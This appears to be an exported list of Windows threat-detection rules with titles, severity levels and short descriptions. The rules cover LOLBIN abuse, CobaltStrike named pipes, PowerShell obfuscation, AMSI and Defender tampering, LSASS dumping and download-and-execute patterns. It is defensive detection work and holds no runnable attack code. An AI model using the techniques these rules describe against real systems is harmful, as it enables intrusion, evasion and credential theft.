Network Connection Initiated By AddinUtil.EXE	high	Detects a network connection initiated by the Add-In deployment cache updating utility "AddInutil.exe". This could indicate a potential command and control communication as this tool doesn't usually initiate network activity.
Outbound Network Connection Initiated By Cmstp.EXE	high	Detects a network connection initiated by Cmstp.EXE Its uncommon for "cmstp.exe" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious.
Network Connection Initiated Via Notepad.EXE	high	Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network communication except when printing documents for example.
Office Application Initiated Network Connection Over Uncommon Ports	medium	Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.
RegAsm.EXE Initiating Network Connection To Public IP	medium	Detects "RegAsm.exe" initiating a network connection to public IP adresses
Network Connection Initiated By Regsvr32.EXE	medium	Detects a network connection initiated by "Regsvr32.exe"
Microsoft Sync Center Suspicious Network Connections	medium	Detects suspicious connections from Microsoft Sync Center to non-private IPs.
Rundll32 Internet Connection	medium	Detects a rundll32 that communicates with public IP addresses
Outbound Network Connection To Public IP Via Winlogon	medium	Detects a "winlogon.exe" process that initiate network communications with public IP addresses
CobaltStrike Named Pipe	critical	Detects the creation of a named pipe as used by CobaltStrike
Suspicious Network Connection Binary No CommandLine	high	Detects suspicious network connections made by a well-known Windows binary run with no command line parameters
Suspicious Wordpad Outbound Connections	medium	Detects a network connection initiated by "wordpad.exe" over uncommon destination ports. This might indicate potential process injection activity from a beacon or similar mechanisms.
CobaltStrike Named Pipe Pattern Regex	critical	Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles
Potentially Suspicious Wuauclt Network Connection	medium	Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections. One could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.
CobaltStrike Named Pipe Patterns	high	Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles
HackTool - CoercedPotato Named Pipe Creation	high	Detects the pattern of a pipe name as used by the hack tool CoercedPotato
HackTool - EfsPotato Named Pipe Creation	high	Detects the pattern of a pipe name as used by the hack tool EfsPotato
Malicious Named Pipe Created	critical	Detects the creation of a named pipe seen used by known APTs or malware.
PowerShell Downgrade Attack - PowerShell	medium	Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0
PowerShell Called from an Executable Version Mismatch	high	Detects PowerShell called from an executable by the version mismatch method
Potential RemoteFXvGPUDisablement.EXE Abuse	high	Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.
Tamper Windows Defender - PSClassic	high	Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.
Clear PowerShell History - PowerShell Module	medium	Detects keywords that could indicate clearing PowerShell history
PowerShell Decompress Commands	informational	A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.
Invoke-Obfuscation CLIP+ Launcher - PowerShell Module	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below
Invoke-Obfuscation STDIN+ Launcher - PowerShell Module	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - PowerShell Module	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin - PowerShell Module	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use MSHTA - PowerShell Module	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Clip - PowerShell Module	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use Rundll32 - PowerShell Module	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module	high	Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.
SyncAppvPublishingServer Bypass Powershell Restriction - PS Module	medium	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.
AMSI Bypass Pattern Assembly GetType	high	Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts
Potential AMSI Bypass Script Using NULL Bits	medium	Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities
Clearing Windows Console History	high	Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.
Clear PowerShell History - PowerShell	medium	Detects keywords that could indicate clearing PowerShell history
Powershell Detect Virtualization Environment	medium	Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox
Disable Powershell Command History	high	Detects scripts or commands that disabled the Powershell command history by removing psreadline module
Disable-WindowsOptionalFeature Command PowerShell	high	Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images
Potential In-Memory Execution Using Reflection.Assembly	medium	Detects usage of "Reflection.Assembly" load functions to dynamically load assemblies in memory
Potential Suspicious Windows Feature Enabled	medium	Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images
Disable of ETW Trace - Powershell	high	Detects usage of powershell cmdlets to disable or remove ETW trace sessions
HackTool - WinPwn Execution - ScriptBlock	high	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.
Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript	medium	Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages
Invoke-Obfuscation CLIP+ Launcher - PowerShell	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014
Invoke-Obfuscation STDIN+ Launcher - Powershell	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - PowerShell	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin - Powershell	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip - Powershell	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA - PowerShell	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32 - PowerShell	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
Modify Group Policy Settings - ScriptBlockLogging	medium	Detect malicious GPO modifications can be used to implement many other malicious behaviors.
NTFS Alternate Data Stream	high	Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.
Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock	high	Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.
Root Certificate Installed - PowerShell	medium	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.
Suspicious Invoke-Item From Mount-DiskImage	medium	Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.
PowerShell Script Change Permission Via Set-Acl - PsScript	low	Detects PowerShell scripts set ACL to of a file or a folder
PowerShell Set-Acl On Windows Folder - PsScript	high	Detects PowerShell scripts to set the ACL to a file in the Windows folder
PowerShell ShellCode	high	Detects Base64 encoded Shellcode
Powershell Store File In Alternate Data Stream	medium	Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
Potential Persistence Via Security Descriptors - ScriptBlock	high	Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.
Potential PowerShell Obfuscation Using Character Join	low	Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation
Suspicious Eventlog Clear	medium	Detects usage of known powershell cmdlets such as "Clear-EventLog" to clear the Windows event logs
Troubleshooting Pack Cmdlet Execution	medium	Detects execution of "TroubleshootingPack" cmdlets to leverage CVE-2022-30190 or action similar to "msdt" lolbin (as described in LOLBAS)
Suspicious Hyper-V Cmdlets	medium	Adversaries may carry out malicious operations using a virtual instance to avoid detection
Suspicious IO.FileStream	medium	Open a handle on the drive volume via the \\.\ DOS device path specifier and perform direct access read of the first few bytes of the volume.
PowerShell Deleted Mounted Share	medium	Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation
Suspicious Mount-DiskImage	low	Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.
Suspicious Service DACL Modification Via Set-Service Cmdlet - PS	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Potential PowerShell Obfuscation Using Alias Cmdlets	low	Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts
Suspicious Start-Process PassThru	medium	Powershell use PassThru option to start in background
Suspicious Unblock-File	medium	Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
Suspicious PowerShell WindowStyle Option	medium	Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden
PowerShell Write-EventLog Usage	medium	Detects usage of the "Write-EventLog" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use
SyncAppvPublishingServer Execution to Bypass Powershell Restriction	medium	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.
Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging	high	Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet
Tamper Windows Defender - ScriptBlockLogging	high	Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.
Powershell Timestomp	medium	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.
Powershell Token Obfuscation - Powershell	high	Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation
Abuse of Service Permissions to Hide Services Via Set-Service - PS	high	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)
Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript	medium	Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script
PowerShell WMI Win32_Product Install MSI	medium	Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class
Windows Firewall Profile Disabled	medium	Detects when a user disables the Windows Firewall via a Profile to help evade defense.
Windows Defender Exclusions Added - PowerShell	medium	Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions
Suspicious X509Enrollment - Ps Script	medium	Detect use of X509Enrollment
CMSTP Execution Process Access	high	Detects various indicators of Microsoft Connection Manager Profile Installer execution
HackTool - CobaltStrike BOF Injection Pattern	high	Detects a typical pattern of a CobaltStrike BOF which inject into other processes
HackTool - HandleKatz Duplicating LSASS Handle	high	Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles
HackTool - SysmonEnte Execution	high	Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon
Uncommon Process Access Rights For Target Image	low	Detects process access request to uncommon target images with a "PROCESS_ALL_ACCESS" access mask.
Suspicious Svchost Process Access	high	Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service.
Function Call From Undocumented COM Interface EditionUpgradeManager	medium	Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.
UAC Bypass Using WOW64 Logger DLL Hijack	high	Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)
Suspicious AddinUtil.EXE CommandLine Execution	high	Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with suspicious Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.
Uncommon Child Process Of AddinUtil.EXE	medium	Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload.
Uncommon AddinUtil.EXE CommandLine Execution	medium	Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.
AddinUtil.EXE Execution From Uncommon Directory	medium	Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.
Potential Adplus.EXE Abuse	high	Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.
AgentExecutor PowerShell Execution	medium	Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument
Suspicious AgentExecutor PowerShell Execution	high	Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument
Uncommon Child Process Of Appvlp.EXE	medium	Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file.
AspNetCompiler Execution	medium	Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.
Suspicious Child Process of AspNetCompiler	high	Detects potentially suspicious child processes of "aspnet_compiler.exe".
Potentially Suspicious ASP.NET Compilation Via AspNetCompiler	high	Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.
Uncommon Assistive Technology Applications Execution Via AtBroker.EXE	medium	Detects the start of a non built-in assistive technology applications via "Atbroker.EXE".
Hiding Files with Attrib.exe	medium	Detects usage of attrib.exe to hide files from users.
Set Suspicious Files as System Files Using Attrib.EXE	high	Detects the usage of attrib with the "+s" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs
Audit Policy Tampering Via NT Resource Kit Auditpol	high	Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.
Audit Policy Tampering Via Auditpol	high	Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.
Indirect Inline Command Execution Via Bash.EXE	medium	Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.
Indirect Command Execution From Script File Via Bash.EXE	medium	Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.
Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE	medium	Detects potential malicious and unauthorized usage of bcdedit.exe
Suspicious Child Process Of BgInfo.EXE	high	Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript
BitLockerTogo.EXE Execution	low	Detects the execution of "BitLockerToGo.EXE". BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been seen using this process as a target for process hollowing.
Uncommon Child Process Of BgInfo.EXE	medium	Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript
Suspicious Download From Direct IP Via Bitsadmin	high	Detects usage of bitsadmin downloading a file using an URL that contains an IP
File Download Via Bitsadmin	medium	Detects usage of bitsadmin downloading a file
Suspicious Download From File-Sharing Website Via Bitsadmin	high	Detects usage of bitsadmin downloading a file from a suspicious domain
File With Suspicious Extension Downloaded Via Bitsadmin	high	Detects usage of bitsadmin downloading a file with a suspicious extension
File Download Via Bitsadmin To A Suspicious Target Folder	high	Detects usage of bitsadmin downloading a file to a suspicious target folder
File Download Via Bitsadmin To An Uncommon Target Folder	medium	Detects usage of bitsadmin downloading a file to uncommon target folder
Monitoring For Persistence Via BITS	medium	BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded.
Suspicious Calculator Usage	high	Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion.
Potential Binary Proxy Execution Via Cdb.EXE	medium	Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file
New Root Certificate Installed Via CertMgr.EXE	medium	Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.
DLL Loaded via CertOC.EXE	medium	Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.
Suspicious DLL Loaded via CertOC.EXE	high	Detects when a user installs certificates by using CertOC.exe to load the target DLL file.
New Root Certificate Installed Via Certutil.EXE	medium	Detects execution of "certutil" with the "addstore" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.
File Decoded From Base64/Hex Via Certutil.EXE	medium	Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution
Suspicious Download Via Certutil.EXE	medium	Detects the execution of certutil with certain flags that allow the utility to download files.
Suspicious File Downloaded From Direct IP Via Certutil.EXE	high	Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.
Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE	high	Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.
File Encoded To Base64 Via Certutil.EXE	medium	Detects the execution of certutil with the "encode" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration
Potential NTLM Coercion Via Certutil.EXE	high	Detects possible NTLM coercion via certutil using the 'syncwithWU' flag
Suspicious File Encoded To Base64 Via Certutil.EXE	high	Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extensions of the file is suspicious
File In Suspicious Location Encoded To Base64 Via Certutil.EXE	high	Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations
Certificate Exported Via Certutil.EXE	medium	Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates.
Suspicious CodePage Switch Via CHCP	medium	Detects a code page switch in command line or batch scripts to a rare language
Process Access via TrolleyExpress Exclusion	high	Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory
Potential Arbitrary File Download Via Cmdl32.EXE	medium	Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.
Curl Download And Execute Combination	high	Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.
File Deletion Via Del	low	Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Greedy File Deletion Using Del	medium	Detects execution of the "del" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.
NtdllPipe Like Activity Execution	high	Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe
Potentially Suspicious Ping/Copy Command Combination	medium	Detects uncommon and potentially suspicious one-liner command containing both "ping" and "copy" at the same time, which is usually used by malware.
Suspicious Ping/Del Command Combination	high	Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delete the file in question. Its used to hide the file responsible for the initial infection for example
Potentially Suspicious CMD Shell Output Redirect	medium	Detects inline Windows shell commands redirecting output via the ">" symbol to a suspicious location. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration.
Directory Removal Via Rmdir	low	Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
CMSTP Execution Process Creation	high	Detects various indicators of Microsoft Connection Manager Profile Installer execution
Powershell Executed From Headless ConHost Process	medium	Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution.
Suspicious High IntegrityLevel Conhost Legacy Option	informational	ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.
Uncommon Child Process Of Conhost.EXE	medium	Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.
Control Panel Items	high	Detects the malicious use of a control panel item
CreateDump Process Dump	high	Detects uses of the createdump.exe LOLOBIN utility to dump process memory
Dynamic .NET Compilation Via Csc.EXE	medium	Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.
Csc.EXE Execution Form Potentially Suspicious Parent	high	Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.
Suspicious Csi.exe Usage	medium	Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'
ManageEngine Endpoint Central Dctask64.EXE Potential Abuse	high	Detects the execution of "dctask64.exe", a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.
Uncommon Child Process Of Defaultpack.EXE	medium	Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs
Potential DLL Sideloading Via DeviceEnroller.EXE	medium	Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named "ShellChromeAPI.dll". Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter
Potentially Suspicious Child Process Of ClickOnce Application	medium	Detects potentially suspicious child processes of a ClickOnce deployment application
Arbitrary MSI Download Via Devinit.EXE	medium	Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system
Potentially Suspicious Child Process Of DiskShadow.EXE	medium	Detects potentially suspicious child processes of "Diskshadow.exe". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.
Diskshadow Script Mode - Uncommon Script Extension Execution	medium	Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially uncommon extension. Initial baselining of the allowed extension list is required.
Diskshadow Script Mode - Execution From Potential Suspicious Location	medium	Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location.
Dism Remove Online Package	medium	Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images
Dllhost.EXE Execution Anomaly	high	Detects a "dllhost" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.
DLL Sideloading by VMware Xfer Utility	high	Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL
New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE	high	Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
Potential Application Whitelisting Bypass via Dnx.EXE	medium	Detects the execution of Dnx.EXE. The Dnx utility allows for the execution of C# code. Attackers might abuse this in order to bypass application whitelisting.
Process Memory Dump Via Dotnet-Dump	medium	Detects the execution of "dotnet-dump" with the "collect" flag. The execution could indicate potential process dumping of critical processes such as LSASS.
Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE	medium	Detects execution of arbitrary DLLs or unsigned code via a ".csproj" files via Dotnet.EXE.
Binary Proxy Execution Via Dotnet-Trace.EXE	medium	Detects commandline arguments for executing a child process via dotnet-trace.exe
Potentially Over Permissive Permissions Granted Using Dsacls.EXE	medium	Detects usage of Dsacls to grant over permissive permissions
Potential Password Spraying Attempt Using Dsacls.EXE	medium	Detects possible password spraying attempts using Dsacls
DumpMinitool Execution	medium	Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump"
Suspicious DumpMinitool Execution	high	Detects suspicious ways to use the "DumpMinitool.exe" binary
New Capture Session Launched Via DXCap.EXE	medium	Detects the execution of "DXCap.EXE" with the "-c" flag, which allows a user to launch any arbitrary binary or windows package through DXCap itself. This can be abused to potentially bypass application whitelisting.
Potentially Suspicious Event Viewer Child Process	high	Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt
Potentially Suspicious Cabinet File Expansion	medium	Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks
Explorer Process Tree Break	medium	Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from "svchost"
Explorer NOUACCHECK Flag	high	Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks
Remote File Download Via Findstr.EXE	medium	Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry.
Findstr Launching .lnk File	medium	Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack
Insensitive Subfolder Search Via Findstr.EXE	low	Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.
Filter Driver Unloaded Via Fltmc.EXE	medium	Detect filter driver unloading activity via fltmc.exe
Sysmon Driver Unloaded Via Fltmc.EXE	high	Detects possible Sysmon filter driver unloaded via fltmc.exe
Forfiles.EXE Child Process Masquerading	high	Detects the execution of "forfiles" from a non-default location, in order to potentially spawn a custom "cmd.exe" from the current working directory.
Uncommon FileSystem Load Attempt By Format.com	high	Detects the execution of format.com with an uncommon filesystem selection that could indicate a defense evasion activity in which "format.com" is used to load malicious DLL files or other programs.
Fsutil Suspicious Invocation	high	Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).
Potential Arbitrary Command Execution Via FTP.EXE	medium	Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe".
Potentially Suspicious GoogleUpdate Child Process	high	Detects potentially suspicious child processes of "GoogleUpdate.exe"
Suspicious GUP Usage	high	Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks
HH.EXE Execution	low	Detects the execution of "hh.exe" to open ".chm" files.
Remote CHM File Download/Execution Via HH.EXE	high	Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.
HTML Help HH.EXE Suspicious Child Process	high	Detects a suspicious child process of a Microsoft HTML Help (HH.exe)
Suspicious HH.EXE Execution	high	Detects a suspicious execution of a Microsoft HTML Help (HH.exe)
HackTool - F-Secure C3 Load by Rundll32	critical	F-Secure C3 produces DLLs with a default exported StartNodeRelay function.
CobaltStrike Load by Rundll32	high	Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.
HackTool - CoercedPotato Execution	high	Detects the use of CoercedPotato, a tool for privilege escalation
HackTool - Covenant PowerShell Launcher	high	Detects suspicious command lines used in Covenant luanchers
HackTool - CrackMapExec PowerShell Obfuscation	high	The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.
HackTool - DInjector PowerShell Cradle Execution	critical	Detects the use of the Dinject PowerShell cradle based on the specific flags
